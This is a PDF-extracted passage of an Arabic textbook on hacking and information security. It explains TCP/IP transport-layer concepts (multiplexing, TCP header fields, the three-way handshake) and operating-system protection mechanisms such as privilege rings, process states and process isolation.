‫ويتم حتديد أقىص حجم مسموح به العتبارات عده‪ ،‬منها تفادي ُحدوث أي ‪ Errors‬أثناء اإلنتقال‪ ،‬قال ‪ packet‬ذات‬
‫احلجم الكبري تستغرق وقت ًا أطول للوصول لىل وجهتها‪ ،‬وربام تُصيب ال ‪ Link‬باإلجهاد و ُيصبح بطيئ ًا نسبي ًا‪.‬‬

‫ولكن ماذا لن أردنا لرسال ‪ Packet‬كبرية احلجم؟‪.‬‬


‫يف ذذه احلالة سنقوم بعمل ‪ Fragment‬هلذه ال ‪ ..Packet‬بمعنى أننا سنقوم بتقطيعها لىل قطع صغرية ثم نُرسلهم‬
‫تباع ًا‪ ،‬وعندما يصلوا لىل ال ‪ Destination‬سيتم لعادة جتميعهم مر ًة أطرى‪.‬‬
‫الشكل التايل يوضح ذذه العملية‪:‬‬

‫‪Networking‬‬
‫]‪[162‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قبل أن ننتقل بك لىل ال ‪ Transport Layer‬نَود أن نذكرك ِبذه املالحظة‪:‬‬


‫‪Remember that the Internet’s network-layer service (IP service) is unreliable. IP does not‬‬
‫‪guarantee datagram delivery, does not guarantee in-order delivery of datagrams, and does‬‬
‫‪not guarantee the integrity of the data in the datagrams.‬‬
‫وذذا ما يفُس احتياجنا لىل ال ‪ Transport Layer‬لتُو ِّقر لنا ذذه اخلصائص التي ال تُو ِّقرذا َلنا ال ‪.Network Layer‬‬

‫)‪Layer 4 (Transport‬‬

‫سنتكلم عن بعض املَفاذيم اجلديده التي َختُص ذذه الطبقة‪ ،‬اقرتض معي أنك جتلس أمام جهازك‪ ،‬وتتصفح أحد‬
‫املواقع‪ ،‬وتقوم يف نفس الوقت بتحميل ملف عىل االنرتنت باستخدام برنامج ال ‪ ،FTP‬وأيض ًا تقوم بمحاولة اتصال‬
‫ِبذا املوقع باستخدام ال ‪ Telnet‬كما تقوم بفتح اتصال آطر بموقع ُمتلف عرب ال ‪ Telnet‬أيض ًا‪.‬‬
‫ِبذا الشكل يكون لديك اآليت‪:‬‬
‫‪Four application network processes running:‬‬
‫‪An HTTP Process, FTP Process, and Two Telnet Processes.‬‬
‫ربام تتسائل!‪ ،‬كيف تتم عملية تصنيف ال ‪ Data‬القادمة من االنرتنت وتوصيلها لكل ‪ Process‬منهم عىل الرغم من‬
‫تواجد لثنني منهم لنفس الربنامج ”‪! “Telnet‬؟ لهنا وظيفة ال ‪ Transport Layer‬حيث توقر لنا طدمة نُطلق عليها‪:‬‬
‫”‪“Multiplexing & Demultiplexing‬‬

‫‪Multiplexing & Demultiplexing‬‬

‫ذيا لنُعيد ترتيب األحداث‪ ،‬عندما تستقبل ال ‪ Transport Layer‬اخلاصة بك (داطل جهازك) ذذه ال ‪ Data‬من‬
‫الطبقة التي أسفل منها‪ ،Network Layer‬قستقوم بتوصيل ذذه ال ‪ Data‬لىل ال ‪ Process‬التي تنتظرذا‪.‬‬

‫‪Networking‬‬
‫]‪[163‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يتم ذلك عن طريق قحص ال ‪ Segment Header‬ليتم حتديد ال ‪ Socket‬املناسبة هلذه ال ‪ Data‬ثم توجيه ال ‪Data‬‬

‫هلذا ال ‪ ،Socket‬قيقوم ذو بدوره بنقل ال ‪ Data‬لىل ال ‪ Application Process‬املناسبة‪.‬‬

‫‪At the receiving End‬‬


‫نُطلق عىل عملية توصيل ال ”‪ “Transport Layer Segment‬لىل ال ‪ Socket‬املناسب هلا بال‪“DeMultipiexing” :‬‬

‫‪At the sending Source‬‬


‫نُطلق عىل عملية َمجع ال ‪ data‬القاد َمة من ال ‪ Sockets‬ا ُملختَلفة من ال ‪ Application Layer‬ولجراء ال‬
‫‪ Encapsulation‬ا ُملت ََم ِّثل يف وضع ال ‪ Header‬عىل ذذه ال ‪ data‬لتكوين ال ‪ Segment‬ولمرارذا لىل ال ‪Network‬‬

‫‪ Layer‬بال‪.“Multiplexing” :‬‬

‫كام ترى بالشكل تتم عملية ال ‪ Demultiplexing‬يف طرف‬


‫ذذا ال ‪ Web Server‬بعد وصول ثالثة ‪ Connections‬من‬
‫ثالثة مستخدمني قيتم توجيه ال ‪ Data‬ا ُملتع ِّلقة بكل ‪ user‬لىل‬
‫‪ُ Socket‬مستَقل (وذو املستطيل الصغري بالشكل)‪ ،‬ومن ثم لىل‬
‫ال ‪ Process‬املخصصة لكل ‪.user‬‬
‫بالطبع عملية التصنيف ذذه تتم بعد قحص ال ‪Header‬‬

‫‪ ،Segment‬حيث حيوي ذذا ال ‪ fields‬التفاصيل التي توضح‬


‫نوع ذذه ال ‪ Segment‬وأيض ًا كيف سيتم التعامل مع ال‬
‫‪.Data‬‬

‫‪Networking‬‬
‫]‪[164‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪TCP Header‬‬
‫ماييل ال ‪ Header‬اخلاص بطبقة ال ‪.Transport‬‬

‫وذذا شكل آطر يعرض بعض التفاصيل اخلاصة بال ‪ field‬املسمى ‪ ،Code Bits‬أو ال ‪ TCP Flags‬كام نسميها‪:‬‬

‫‪Networking‬‬
‫]‪[165‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:Header ‫ املهمة يف ذذا ال‬Fields ‫سنقوم بتوضيح بعض ال‬

‫ التي‬Mechanisms ‫ ُيمكنُنا تسميتها أيض ًا بال‬،‫ من وجهة نظري‬Fields ‫اطرتت لك أقضل تعريفات هلذه ال‬
.Reliable Connection ‫ لتنفيذ عملية ال‬TCP ‫يستخد ُمها ال‬

Checksum: Used to detect bit errors in a transmitted packet.

Timer: Used to timeout/retransmit a packet, possibly because


the packet (or its ACK) was lost within the channel.
Because timeouts can occur when a packet is delayed but not lost,
or when a packet has been received by the receiver but the receiver-to-sender ACK has been lost,
also when a duplicate copies of a packet may be received by a receiver.

Sequence number: Used for sequential numbering of packets of data flowing from sender to
receiver.
Gaps in the sequence numbers of received packets allow the receiver to detect a
lost packet. Packets with duplicate sequence numbers allow the receiver to detect
duplicate copies of a packet.

Acknowledgment: Used by the receiver to tell the sender that a packet or set of packets has been
received correctly.
Acknowledgments will typically carry the sequence number of the packet or packets being
acknowledged.

Negative acknowledgment: Used by the receiver to tell the sender that a packet has not been
received correctly. Negative acknowledgments will typically carry the sequence number of the
packet that was not received correctly.

Networking
[166]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Window: The sender may be restricted to sending only packets with sequence numbers that fall
within a given range.
By allowing multiple packets to be transmitted but not yet acknowledged, sender utilization can
be increased over a stop-and-wait mode of operation.

Definitions from: Ref (2)

:‫ عن ُقرب‬Flags ‫ اخلاص بال‬Field ‫ ذيا لنتعرف عىل ال‬Mechanisms ‫واآلن وبعد أن تعرقنا عىل ذذه ال‬

:‫ وذي‬Fields ‫ بالتدقيق عىل ذذه ال‬Segments ‫ بعملية تصنيف ِسيع لل‬Transport ‫تقوم طبقة ال‬
‫ الحظ أن‬.Segment ‫ الذي حتمله ذذه ال‬TCP Flag ‫ و أطري ًا نوع ال‬Ack number ‫ و ال‬Sequence number ‫ال‬
ً ‫ك‬
.32 bits ‫ عبارة عن‬Ack ‫ و ال‬Sequence ‫ال من ال‬

‫؟‬..“ACK” ‫“ وال‬Sequence” ‫وما قائدة ذذه ال‬


“The sequence number and acknowledgment number are used to maintain state”

:‫سنأطذ مثال لنفهم كيف تسري األمور‬

Networking
[167]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪TCP Three-way Handshake‬‬


‫لنفرض أنك تود لنشاء لتصال ب ‪ Server‬ما‪ ،‬لكي تتم عملية االتصال بينك وبينه البد أن حيدث لجراء ُيسمى‬
‫”‪ “Three-Way Handshake‬حيث نستخدم ألجله نوعني من ال ‪ TCP Flags‬باالشرتاك مع ال ‪“Sequence and‬‬
‫”‪.Ack numbers‬‬
‫ال ‪ TCP Flags‬املستخدمة ذي ال ‪ SYN‬و ال ‪ُ ،ACK‬يمكنك مراجعة دالالهتم باجلدول يف الصفحة السابقة‪.‬‬

‫ُقمنا ُذنا بإراسل ‪ Segment‬حيوي ال‬


‫‪ِ TCP Flag‬با قيمة تُشري لىل أهنا من نوع‬
‫ويرد‬ ‫ُ‬
‫حيث يفهمها ال ‪ُ ،Server‬‬ ‫‪،SYN‬‬

‫علينا بإرسال ‪ SYN/ACK‬يؤكد لنا‬


‫استالمه لل ‪ SYN‬ا ُملرسلة‪.‬‬

‫ُثم ُنرد عليه ُ‬


‫نحن ب ‪ ACK‬هنائية نُخطره‬
‫باستالمنا لل ‪ SYN/ACK‬التي أرسلها‬
‫لنا‪ ،‬وبعدذا يبدأ االتصال الفعيل بيننا وبينه‪.‬‬

‫ذيا لنقرتب أكثر من عملية ال ”‪..“Handshaking‬‬

‫تأمل معي الشكل التايل‪:‬‬

‫‪Networking‬‬
‫]‪[168‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫تَم استخدام التوليفة التي َتكَلمنا َعنها!‪.‬‬

‫قهنا عندما ُقمنا نَح ُ‬


‫ن )‪(Cilent‬‬ ‫عرب عنها‪ُ ،‬‬
‫واضح أن أي رسالة جديدة يتم لرساهلا ال ُبد أن حتمل ‪ُ Sequence number‬ي ِّ‬
‫بالبدء باالتصال‪ ،‬أرسلنا له ‪ segment‬من نوع ‪ SYN‬حتمل ‪َ ،Seq: 30‬ققا َم ال ‪ Server‬بالرد علينا بإرسال ال‬
‫‪ ،SYN/ACK‬الحظ أهنا تعني أنه ُيريد أن ُخيربنا باستالمه هلذه ال ‪ SYN‬التي حتمل ‪ Seq: 30‬وبالتايل سيأطذ ذذه ال‬
‫‪ Seq‬ويقوم بعمل ”‪ .“Increment by 1‬س ُيخربنا أن ُه استلمها بأن يؤكد استالمه! أليس كذلك؟‪ ،‬بمعنى ‪ ACK‬هلذه‬
‫قسريسل لنا ‪َ Segment‬حتمل ”‪ “ACK = your Sequence number + 1‬وذو الرقم )‪.(31‬‬
‫ال ‪ُ .!Seq‬‬

‫‪Networking‬‬
‫]‪[169‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

ِّ ‫ ُي‬Sequence number ‫ جديدة قال ُبد أن َحتمل‬Segment ‫وبالطبع بام أهنا‬


‫ سيكون رقم عشوائي‬،!‫ هلا‬ID ‫عرب عنها ك‬
.(67) ‫ وذو الرقم‬،‫حينها كام يظهر بالشكل‬

.(68) ‫“ وذو الرقم‬ACK = His Sequence number + 1” ‫ َق َسنُرسل له‬،‫واآلن نُريد أن نؤكد ل ُه استالمنا للرسالة‬

:‫ذذا الشكل يوضح لنا ما حيدث باملعادالت‬

:‫ تت َلخص قيام ييل‬Sequence Number ‫ُيمكنُنا القول بأن قائدة ال‬


“Sequence numbers allow TCP to put unordered packets back into order, to determine whether
packets are missing, and to prevent mixing up packets from other connections”.

Networking
[170]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لىل ُذنا نكون قد انتهينا من الطبقات الثالث‪:‬‬


‫‪‬‬ ‫‪Data-Link Layer‬‬
‫‪‬‬ ‫‪Network Layer‬‬
‫‪‬‬ ‫‪Transport Layer‬‬

‫ُيمكن َُك ُمراجعة ‪ Appendix-B‬يف آطر الكتاب ملعرقة املزيد عن أساليب انتقال ال ‪ Traffic‬يف الواقع العميل داطل‬
‫شبكات ال ‪ ،Data Centers‬وأنواع ال ‪ Architectures‬ا ُملستخدَ َمة‪.‬‬
‫سنقوم يف الفصل القادم بتسليط الضوء عىل بعض املواضيع ا ُملتع ِّل َقة بأمن املعلومات‪ ،‬ولجراء حتليل لعمليات‬
‫اإلطرتاق‪ ،‬وبعض اآلليات املتبعة للحامية منها‪.‬‬

‫‪Networking‬‬
‫]‪[171‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Networking
[172]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Part III
Security & Attacks

Security & Attacks


[173]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Security & Attacks


[174]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Introduction‬‬

‫قريوس اإلنفلونزا!‪،،‬‬
‫ذذا الفريوس العجيب‪ ،‬الذي ال يرتكنا حلالنا‪ ،‬يأيت ل ُيزع ُجنا باستمرار!‪ ،‬لديه قدرة ُمتازة عىل تطوير نفسه ليقوم‬
‫بإصابتنا مرار ًا وتكرار ًا!‪ ،‬قهو يتغري مستخدم ًا طريقة تُسمى ”‪ “Anti-Gen Drift‬حيث ال تتعرف عليه األجسام‬
‫املضادة التي تكونت يف أجسامنا جراء اإلصابة السابقة لنا به‪.‬‬
‫وبالتايل قعلينا جتربة ذذا ال ‪ Virus‬بالتغيري اجلديد الذي طرأ عليه كي يتسنى للجسم حتديث أجسامه املضادة ضده‪.‬‬
‫ياله من ‪ Virus‬لعني!‪.‬‬
‫ال يأطذ ذدنة‪ ،‬أو قرتة راحة‪ ،‬حيب العمل باستمرار لتطوير نفسه ورقع كفائته‪ُ ،‬ما ُجيرب رشكات األدوية عىل لجراء‬
‫التحديثات املستمرة عىل منتجاهتا املضادة لإلنفلونزا‪ ،‬كي تواكب عمليات التطور لدى ذذا اخلصم ا ُملزعج‪.‬‬

‫لدينا يف عامل الكمبيوتر أيض ًا أعداء مثل ال ‪.Viruses and Worms‬‬

‫لهنم يسببون لنا الكثري من املتاعب واألَضار وضياع للملفات والبيانات‪ .‬وهلذا ظهرت احلاجة ا ُمل ّ‬
‫لحة لظهور أساليب‬
‫ٍ‬
‫بمحاوالت عدة إلحداث‬ ‫احلامية باطتالف مستوياهتا وأنواعها‪ ،‬ققام ‪ Hackers‬بدراسة ذذه اآلليات األمنية وقاموا‬
‫اخلروق ِبا‪ ،‬ونجحوا!‪..‬‬
‫ققام ُمطورو األنظمة األمنية بتطوير منتجاهتم و آلياهتم ملجاِبة ذؤالء ا ُملتحايلني عىل أنظمتهم‪ ،‬وذكذا َج َرت ذذه ال‬
‫‪ Cycle‬لىل ماال هناية!‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[175‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ولكن ذذه املشاكل التي ُحيدثها ال ‪ Crackers‬و ال ‪ Malware Authors‬وغريذم‪ ..‬سببت لنا بعض املناقع بالرغم من‬
‫األَضار التي عانينا منها بسببهم!‪ .‬لهنم جيربوننا عىل التصدي هلم ولجياد احللول!‪.‬‬
‫‪They Force a Response… Which fixes the problem!.‬‬

‫ُيذك ُرين ذذا بالكتاب ”‪ “Man Search for Meaning‬لصاحبه ‪.Viktor Franki‬‬

‫بالرغم من قدَ م ذذا الكتاب حيث قام بتأليفه يف عام ‪ 1946‬لال أن ُه حيمل قكرة قويه‪ ،‬وذي‪:‬‬
‫"لوال وجود املعاناة‪ ..‬ملا أصبح للحياة معنى!"‪.‬‬

‫‪ 1946‬؟؟‪ ..‬ذذا التاريخ ُيذك ُرين بقصة "نيلسون مانديال"!‪ ،‬ققد انتقل لىل "أورالندو" يف ذذا العام لتبدأ رحلة معاناته‬

‫حلرية‪ ،‬مرور ًا بسجنه لسب ٍع و عرشين عام ًا‪ ،‬ثم يف النهاية قوزه يف االنتخابات ليتحقق ُحلم ُه ُ‬
‫وحلم َشعبه‬ ‫من أجل ا ُ‬
‫ال و ُمكاقح ًا‪َ ،‬ق َش ّك َلت ذذه ا ُملعاناة املعنى حلياته وحلياة َمن‬
‫باحلُرية‪.. ،‬قانتشار ال ُظلم والقهر َج َع َل من مانديال مناض ً‬

‫ناض َل َم َع ُه!‪َ ،‬‬


‫وصدَ َق الذي قال "أنت متتلك من الكرامة بقدر ما متتلك من احلُ ِّرية"‪.‬‬ ‫َ‬

‫َحن أيض ًا نقول‪ ..‬لوال وجود ذؤالء ال ‪ Crackers‬و ال ‪ Malware Authors‬وغريذم من األرشار‪..‬‬
‫ون ُ‬
‫ملا ظهرت لنا احلاجة لىل ال "‪ُ "Security‬بكل أشكاهلا و أنواعها‪..‬‬

‫‪Security & Attacks‬‬


‫]‪[176‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Computer Security‬‬

‫تكلمنا يف الباب األول عن الربامج التي يتم كتابتها ثم عمل ‪ Compile‬هلا ومن ثم تشغيلها عىل ال ‪ ،O.S‬بمعنى أننا‬
‫كُنا نُعطي صالحيات هلذا الربنامج بالتعامل مع ال ‪ Resources‬املختلفة هلذا ال ‪ O.S‬كأن يتعامل مع ال ‪ Memory‬أو‬
‫يقوم بفتح ‪ file descriptors‬أو لنشاء ‪ Sockets‬وغريذا من املهام‪ ،‬أيض ًا كان يتعامل مع ال ‪ Hardware‬اخلاصة‬
‫بالكمبيوتر لذا تطلب األمر‪.‬‬
‫كنا أثناء ذذه املرحلة نقوم بتسليط الضوء عىل ال ‪ Applications‬نفسها!‪ ،‬كي نفهم كيف كانت تقوم بتنفيذ دورذا‪.‬‬
‫لكننا اآلن سنبدأ بتسليط الضوء عىل ال ‪ Operating System‬نفسه!‪ ،‬لنرى قلسفته يف التعامل مع ذذه ال‬
‫‪ Applications‬و ال ‪.Users‬‬
‫قهذا ُيعد مثاالً جيد ًا لنفهم به أساسيات األمن واحلامية‪.‬‬
‫نُطلق عىل األساليب التي يستخدمها الكمبيوتر يف تأمني نفسه أثناء تشغيله بال ”‪“Protection Mechanisms‬‬

‫ذذه ال ‪ Mechanisms‬تنقسم لىل ثالثة أنواع رئيسية ذي‪:‬‬


‫‪‬‬ ‫‪Rings‬‬
‫‪‬‬ ‫‪Operational States‬‬
‫‪‬‬ ‫‪Security Modes‬‬

‫سنتكلم عن ال ‪ Mechanisms‬األوىل والثانية‪:‬‬

‫‪Security & Attacks‬‬


‫]‪[177‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Rings‬‬

‫يقوم ذذا ال ‪ Architecture‬بعمل ‪organize‬‬

‫جلميع ال ‪ Applications‬أو ال ‪ utilities‬أو‬


‫أي يشء يعمل حتت سيطرة نظام التشغيل‬
‫ذذا‪.“Under the control of this O.S” ،‬‬

‫يقوم ذذا ال ‪ Architecture‬برتتيبهم داطل‬


‫‪ Rings‬تفصل بينها حواجز كي ُمت ِّكنُنا من‬
‫ال ُعبور بني ذذه ال ‪ ،Rings‬كام نراذم يف‬
‫الشكل‪.‬‬
‫قكُلام اجتهنا أكثر لىل الداطل يف ال ‪،Ring‬‬
‫كُلام حصلنا عىل صالحيات أعىل وأكرب‪.‬‬

‫يظهر أن ال ”‪ “Ring 0‬ذي األعىل يف‬


‫الصالحيات‪ ،‬حيث ُيمكن لل ‪Processes‬‬

‫التي متتلك صالحيات ذذه ال ‪ Ring‬أن تقوم‬


‫بعمل ‪ Access‬ألي ‪ ..Resources‬كالتعامل‬
‫مع ال ‪ ،CPU‬أو التعامل مع ال ‪ Memory‬بكل ُحرية‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[178‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يتواجد يف ذذه ال ‪ Ring‬ال ”‪ “O.S Kernel‬وِبذا ُيعد ال ”‪ “Most Trusted‬بالنسبة لاىل ال ‪Computer‬‬

‫‪ ،Hardware‬ألنه يتمكن من التعا ُمل بشكل ُمبارش مع ال ‪ physical hardware‬كال ‪.Memory‬‬

‫نأيت لىل ال ‪ُ :Ring 1‬ذنا تقع بقية ال ‪ Operations‬العادية التي يقوم ِبا ال ‪ O.S‬كتنفيذ ال ‪ Tasks‬املختلفة أو عمل‬
‫‪.Processes Switching between‬‬

‫سأعطيك مثال عليها‪:‬‬


‫أترك ُه ألقوم بفتح ال ‪ Browser‬ألتصفح االنرتنت‪.‬‬
‫عندما أقوم بفتح ملف ‪ word‬وأكتُب قيه بعض األسطر‪ ،‬ثم ُ‬
‫وعندما أنتهي من التصفح سأعود مر ًة أطرى لىل ملف ال ‪ .Word‬يقوم حينها ال ‪ O.S‬بعمل ”‪“Context Switch‬‬

‫حيث كان قد قا َم بحفظ ال ‪ process‬اخلاصة بال ‪ Word‬عند آطر وضع كانت عليه قبل عملية االنتقال لىل ال‬
‫‪ .Browser‬ليقوم بالعودة لليها مر ًة أطرى‪.‬‬

‫ننتقل لىل ال ‪:Ring 2‬‬

‫تُعد أيض ًا لىل ح ٍد ما ‪ Privileged‬حيث يتواجد ِبا ال ‪ Input/Out Put Drivers‬و ال ‪ system utilities‬األطرى‪،‬‬
‫حيث ذي أشبه بال ‪ Special Files‬والتي ال يمكن للربامج أو ال ‪ Apps‬عمل ‪ Access‬لليها دون االستعانة‬
‫بصالحيات ذذه ال ‪.Ring‬‬

‫‪Security & Attacks‬‬


‫]‪[179‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وأطري ًا ال ‪ُ .. Ring 3‬‬


‫وذنا تقع ال ‪ Applications‬والربامج بأنواعها‪،‬‬
‫ذذه ذي البيئة اخلاصة بال ‪ User‬حيث ال ُيمكنُه لحداث أي طرق يف‬
‫النظام لعدم وجود الصالحيات ال ُعليا لديه!‪.‬‬
‫ذذا الشكل يوضح ال ‪ Kernel‬الذي يقع يف ال ”‪“Ring 0‬‬

‫حيث يتعامل بشكل مبارش مع ال ‪ Hardware‬كام يظهر‪ .‬وال يتم السامح‬


‫لل ‪ Applications‬بالتعامل بشكل مبارش مع ال ‪ ،Hardware‬بدالً من‬
‫ذلك يتم لرسال طلب لىل ال ‪ Kernel‬وذو يقرر ما لذا سيتم السامح أم ال وقق ًا العتبارات عدة‪.‬‬

‫‪Operational States‬‬

‫نعني ِبا أيض ًا ال ”‪“Process States‬‬

‫ُذناك تصنيف لل ‪ Process‬من حيث ال ‪ Process Modes‬قهي لما أن تكون يف نظام ال (‪ )User Mode‬حيث تكون‬
‫ُ‬
‫حيث متتلك‬ ‫الصالحيات ُمنخفضة‪ ،“Low Privileges” .‬ولما أن تكون يف نظام ال (‪)Privileged Mode‬‬

‫َصالحيات ال ‪ .System‬ذيا لنتعرف عىل ال ‪ States‬التتي َمتُر ِبا أي ‪ُ Process‬م ُ‬


‫نذ أن تبدأ وحتى أن تنتهي من عملها‪.‬‬
‫قمث ً‬
‫ال عندما نقوم بفتح ‪ Application‬صغري‪ ،‬سيقوم بفتح ‪ Process‬طاصة به وذي التي نراذا يف ال ‪Process‬‬

‫‪ ،manager‬ذذه ال ‪ process‬وغريذا يستطيع ال ‪ O.S‬التعامل معهم يف نفس الوقت‪ ،‬والتبديل بينهم‪ ،‬ولهناء ما ُيريد‬
‫منهم وذكذا‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[180‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:Process ‫سنُشاذد مع ًا احلاالت التي َمت ُ ُّر ِبا ذذه ال‬

Ready: The process is ready to resume or begin processing as soon as it is scheduled for
execution. If the CPU is available when the process reaches this state, it will transition directly
into the running state.

Waiting: “waiting for a resource”, the process is ready for continued execution but is waiting for
a device or access request.
Running: the process here executes on the CPU and keeps going until it finishes, or it blocks for
some reason.

Stopped When a process finishes or must be terminated (because an error occurs, a required
resource is not available, or a resource request can’t be met), it goes into a stopped state.

Security & Attacks


[181]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كام رأينا‪ ،‬يقوم ال ‪ Operating System‬باستخدام ذذه ال ‪ Mechanisms‬حلامية نفسه من البيئة املحيطة به‪ ،‬والواقعة‬
‫حتديد ًا يف ال (‪ .)Ring 3‬ويف احلقيقة دائ ًام ما يتعامل نظام التشغيل مع ال ‪ Applications‬والربامج بأنواعها بأسلوب‬
‫وحيد‪ ،‬يتلخص يف ذذه العبارة‪:‬‬
‫”!‪“Software is Not Trusted‬‬

‫‪Technical Mechanisms‬‬

‫سنتكلم عن بعض ال ‪ Technical Mechanisms‬التي تؤطذ يف االعتبار عند تصميم ال ‪،Operating System‬‬

‫حيث ستوضح لنا كيف يتعامل نظام التشغيل مع البيئة املحيطة به‪ .‬ومن بعض ذذه اآلليات ماييل‪:‬‬
‫‪Layering, Abstraction, Data Hiding, and Process Isolation‬‬
‫سنتناوهلم بالرتتيب‪:‬‬

‫‪Layering‬‬
‫ذذا ال ‪ Concept‬مشابه ملبدأ ال ‪ Rings‬املعمول به يف ال ‪ ،x86 Architecture‬قهو ينص عىل وضع املهام وال‬
‫‪ Functions‬احلساسة وا ُملهمة يف ال (‪ )Low Layers‬ثم األقل أمهية يف ال )‪ ،(Upper Layers‬وذكذا‪ُ ..‬يمكن‬
‫التواصل بني ذذه ال ‪ Layers‬عرب "‪ُ "interfaces‬حمددة لكي نتمكن من قرض رشوط التواصل ذذا!‪ .‬قكُل ‪Layer‬‬

‫حممية من التال ُعب من أي ‪ Layers‬أطرى‪.‬‬


‫‪Each layer is protected from tampering by any other layer, Also outer layers cannot violate or‬‬
‫‪override any security policy enforced by an inner layer.‬‬

‫‪Security & Attacks‬‬


‫]‪[182‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Abstraction‬‬
‫ذذا ال ‪ Abstraction‬يشبه مفهوم ال ”‪ “Black Boxing‬بعض اليشء‪..‬‬

‫وماذذا ال ‪ Black Box‬؟‬

‫نُطلق ذذا املصطلح عىل ال ‪ Device‬أو ال ‪ System‬أو ال ‪ Object‬الذي يستقبل منك ‪ inputs‬ويقوم بإطراج‬
‫‪ ،Outputs‬وال ُيطل ُعك عىل العمليات التي حدثت قيام بينهم!‪.‬‬
‫قلو جئنا لنُسق َط ُه عىل ال ‪ O.S‬قنُالحظ أن نظام تشغيل مثل الويندوز‪ ،‬ال ُيطل ُعك عىل التفاصيل التي حتدث عندما‬
‫تقوم بفتح برنامج ال ‪ Word‬مث ً‬
‫ال‪ ،‬ويكتفي بإظهار صورة صغرية لك بينام ذو يف ال ‪ Back Ground‬يقوم بعمل‬
‫اإلعدادات الالزمة لفتح الربنامج لك‪.‬‬
‫الشكل ُيوضح مفهوم ال ‪:Black Boxing‬‬

‫يف عمليات ال ‪ Access Controls‬عىل سبيل املثال‪ ،‬بدالً من االنشغال بإعطاء الصالحيات املناسبة لكل ‪،User‬‬
‫و ُيسمى ُذنا ”‪ ..“Subject‬يكون الرتكيز عىل ال ‪ Objects‬عوض ًا عن ذلك‪ ،‬بمعنى أننا نقوم بإنشاء ‪ ،Groups‬ثم‬
‫نعطي الصالحيات لكل ‪ group‬منهم‪ ،‬قيتم تصنيف ال ‪ users‬عرب توزيعهم عىل ذذه ال ‪.groups‬‬

‫‪Security & Attacks‬‬


‫]‪[183‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ذذا األمر يظهر قائدته عند‬.group ‫ سيمتلك صالحيات ذذا ال‬،‫ املناسب له‬group ‫ لىل ال‬user ‫وبمجرد أن ينتمي ال‬
.‫التعامل مع مستخدمني ُك ُثر وبصالحيات متفاوتة‬

Data Hiding
Security Level ‫ قهي توقر نوع من احلامية للبيانات عن طريق منحها‬،ً‫ قليال‬Layering ‫ذذ اخلاصية تُشبه مفهوم ال‬

َ ‫ ُأطرى ُُمتلفة لن‬Security Level ‫ تنتمي لىل‬Process ‫ وبالتايل أي‬،‫ُمعينة‬


.‫تتمكّن من كَشف ذذه البيانات‬
It ensures that data existing at one level of security is not visible to processes running at different
security levels.

Process Isolation
.‫ التي تقع حتت سيطرته‬resources ‫ حلامية نفسه ومجيع ال‬O.S ‫ذذه اخلاصية من أذم اخلصائص التي يستخدمها ال‬
‫ أو ال‬Applications ‫ ويتم السامح للربامج أو ال‬،‫ لىل مساحات معزولة عن بعضها‬memory ‫قيتم ُذنا تقسيم ال‬
.‫ باستخدام ذذه املساحات بنا ًء عىل احتياجاهتا‬O.S ‫ التي تعمل عىل ذذا ال‬utilites
process ‫ وذلك ب َمنع أي‬،‫ عىل ُأطرى‬process ‫ بحيث ال تطغى أي‬processes ‫ويقوم نظام التشغيل بحامية ذذه ال‬

.!‫ ليست ُُمص َصة َهلا‬memory ‫ساحة داطل ال‬


َ ‫ ألي م‬access ‫من ُحماولة عمل‬

Requires that the operating system provide separate memory spaces for each process’s
instructions and data. It also requires that the operating system enforce those boundaries,
preventing one process from reading or writing data that belongs to another process.

Security & Attacks


[184]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لىل ذنا نكون انتهينا من احلديث عن بعض األساسيات املتعلقة بال ”‪.“Computer Security‬‬

‫سننتقل لىل موضوع جديد‪..‬‬


‫هرية كال ‪ Buffer Overflow‬وغريذا‪ ..‬تأكد من استيعابك‬
‫الش َ‬ ‫ُ‬
‫حيث نقوم بتحليل ودراسة بعض أنواع اهل َ َج َامت َ‬
‫ألساسيات الربجمة التي رشحناذا يف الباب األول‪ ،‬وأمثلة الشبكات التي تناولناذا يف الباب الثاين كي نَض َمن َل َك ال َفهم‬
‫جليد لل َفقرات القادمة بإذن اهلل‪..‬‬
‫ا َ‬

‫‪Security & Attacks‬‬


‫]‪[185‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Network Sniffing
ٍ
